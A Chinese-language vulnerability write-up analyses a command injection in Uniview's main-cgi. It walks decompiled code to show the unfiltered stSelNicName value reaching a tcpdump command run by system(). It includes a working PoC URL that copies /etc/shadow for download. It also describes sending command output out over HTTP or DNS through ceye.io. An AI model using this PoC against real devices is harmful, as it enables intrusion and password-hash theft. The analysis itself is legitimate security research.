Uniview RCE 漏洞分析

Uniview RCE 漏洞分析,PoC来自exploit-db

1. 漏洞复现

PoC:

1
2
3
4
5
[Get /etc/shadow]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}

[get the result]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

执行命令,将/etc/shadow文件复制到/tmp/packetcapture.pcap

1

获得/etc/shadow的内容。

2

2. 漏洞详细分析

对于该漏洞,我决定先利用POC去寻找漏洞点,然后逆着分析参数传递过程,来分析漏洞原理。

2.1 根据POC寻找漏洞点

根据POC来分析一下漏洞。

很明显,POCstSelNicName这个参数传入了所执行的命令,使用IDA打开关键程序main-cgi,搜索字符串stSelNicName

3

进而找出存在该字符串的函数,sub_2248C()
为了方便阅读,根据函数实现的功能,将函数名修改为startTcpDump

4

可以看到在该函数的后面,进行了命令的拼接,由此猜测,应该是前面没有做好对传入的参数进行过滤,进行拼接后就使用system()执行了代码。

5

这里应该就是漏洞点了,接下来往上找一下调用,分析一下传参,来验证自己的猜想。

2.2 参数传递过程分析

首先往上查找调用startTcpDump()的函数。
找到sub_477FC()

6

再往上,就到了CGI请求开始处理的地方sub_4E2A4()

7
可以看到,程序在第8行获得了传入的请求数据v0,经过处理后传入关键函数sub_477FC()中。

跟进函数getRequestValue()(也就是sub_164D0)

可以看到,当请求方法为GET时,该函数会获得并返回经过URL编码之后的数据,而且程序不支持POST请求。

8

也就是说在dealWithCGIRequest()函数中,第13v2 = sub_477FC(v1);传入的v1是一个字符串。
对于POC来说,就是

1
json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}

然后进入函数sub_477FC(),可以看到在第237-269,对传入的字符串进行了处理。

9

从处理流程来看,使用=&对字符串进行分割,获取keyvalue,存储在v5中。
counter中存储了传入的键值对的数目。

v5的数据结构:

1
key \0 value \0 key \0 value \0 ....

接下来函数对处理后的字符串进行遍历,处理请求。

首先对Value值进行url解码。

10

然后继续往下:

11

对于代码中的v11来说,它就是经过urldecode之后的v5
也就是*v11 == "key"*(v11+32) == "value"
然后根据传入的key来决定处理方式,在POC中我们传入了一个json数据。

此时343if条件成立,在347行,将value值传入函数sub_4E204(),对json字符串进行解析,返回一个存储了json的数据结构。
然后351行获得cmd的值,然后根据该值,使用switch来决定如何进行处理后续请求。

跟进347v23 = sub_4E204((v11 + 32));,分析一下json的数据结构。
在这里我只是大致分析了下,动态调试环境弄不好,只能静态分析,后面还涉及到递归,有点困难。

往下走两步,跟进到sub_4E164(a1, 0, 0);,其中a1就是传入的value值。
后面的分析过程太过于繁琐,而且并没有分析出有关数据的过滤的函数,就说一下我分析的json的数据结构吧。

json中有六种数据,分别是数字(整数或者浮点数)、字符串、逻辑值 (truefalse)、数组、对象、null

在该程序中,是通过调用getFortySpace()(也就是sub_4CA70)来分配空间的,

12

根据整个流程调用来判断,存储json中键值对的数据结构如下

1
2
3
4
5
6
7
8
9
10
result[0] = 0; //指向下一个对象
result[1] = 0; //指向上一个对象
result[2] = 0; //指向嵌套的数组或者对象
result[3] = 0; //种类 0 == false、1 == true、2 == null、3 == 数字、4 == 字符串、5 == 数组、6 == 对象
result[4] = 0; //字符串
result[5] = 0; //整数
result[6] = 0;
result[7] = 0;
result[8] = 0; //当前键值对的key值
result[9] = 0;

猜测使用了cjson这个库。

在解析json的流程中,只是调用了leftStrip()(也就是sub_4C788),来保证所有字符串都以可见字符开头。

13

在获取双引号之间的值时处理unicode编码,没有其他的针对性的过滤手段。

14

然后回到函数sub_477FC()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v23 = sub_4E204((v11 + 32));              // 推测该方法用来解析json字符串
v24 = v23;
if ( !v23 )
formatStr("cgi_common.c", 2284, "CGI_COMMON_ProcessData", "json_Req is :\"NULL\".");
dest = getValueByKey(v24, "cmd")[5];
formatStr("cgi_common.c", 2289, "CGI_COMMON_ProcessData", "Begin to process transcat.");
v25 = sub_4CAC4(); // 获得一个result[3] == 6的空间
formatStr("cgi_common.c", 2293, "CGI_COMMON_ProcessData", "Web id = %d", dest);
switch ( dest )s
{
...
case 264u:
v22 = startTcpDump(v24);//命令执行的关键函数。
break;
...

到现在,传入的json数据已经进入前面我们之前猜测的漏洞点了。

2.3 漏洞点详细分析

重新回到函数startTcpDump(int a1)中。

25行到51行程序对系统状态进行判断。

15

根据上面的条件,我们必须传入bSelectAllPortbSelectAllIPstSelIpstSelPortstSelNicName这五个值。

在后面可以看到,四个不同条件下的命令执行语句都拼接了stSelNicName字符串。

16

每个都分析下。

第一条

1
2
bSelectAllIp[5] == 0
bSelectAllPort[5] == 0

第二条

1
2
bSelectAllIp[5] == 0
bSelectAllPort[5] == 1

第三条

1
2
bSelectAllIp[5] == 1
bSelectAllPort[5] == 0

第四条

1
2
bSelectAllIp[5] == 1
bSelectAllPort[5] == 1

可以知道,在传入的参数中,bSelectAllIpbSelectAllPort只要都存在并且值是0或者1。就能够将stSelNicName的值拼接到执行的命令中。

在这命令中,

1
tcpdump -i %s -p -nn ....

其中%s的值可控,于是我们可以使用分号来截断命令。
比如传入;id;,则此时执行的命令为tcpdump -i ;id; -p -nn ….,命令id成功执行。
就这样实现命令注入,造成远程代码执行。

从总体来看,该漏洞产生的最主要的原因就是,程序没有对传入的参数进行过滤,然后直接将其拼接到了命令中,造成了远程命令执行。

3. 漏洞攻击利用思路

这是一个无回显的远程命令执行漏洞,不过既然能够执行命令了,就有很多利用方式了。

3.1 利用程序本身的功能

在该程序中提供了下载数据包的功能,文件路径为/tmp/packetcapture.pcap,我们可以执行命令,将输出重定向到该文件中,然后利用程序自身功能来下载到结果。
如果在Web目录中有权限,也可以直接将结果输出到Web目录下,然后下载得到结果。

3.2 使用HTTP请求和DNS解析外带数据

如果目标主机可以连通外网,可以让目标主机向外网的一个自己可控的Web服务器发出携带数据的HTTP请求,从而将获得命令执行的结果。
也可以使目标主机解析携带有数据的二级域名,然后查询DNS解析记录。

我们可以使用ceye.io这个平台来达到目的。

使用curl向平台发起HTTP请求获取命令执行的结果。

20

成功获取执行命令的内容。

19

使用DNS请求获取数据

21

成功获取执行命令的内容

22

需要注意的是,在外带数据的时候应该要对数据base64编码一下,或者其他编码也可以,防止特殊字符对命令的执行过程产生影响。我这个树莓派上没有base64,在这就不演示了。

3.3 一点发现

在漏洞分析过程中,发现该漏洞是有回显的,执行的命令会在请求头里出现。
只要执行的命令存在标准输出,即使用echo,而且输出内容中存在:,即可在响应头中获得命令执行的结果。

23

但是在分析漏洞点中没有发现获取命令结果的地方。
我认为应该是CGI程序将标准输出重定向到Web服务器上,内容中有:,符合响应头的标准,将内容成功输出。
从而获取到命令执行的结果。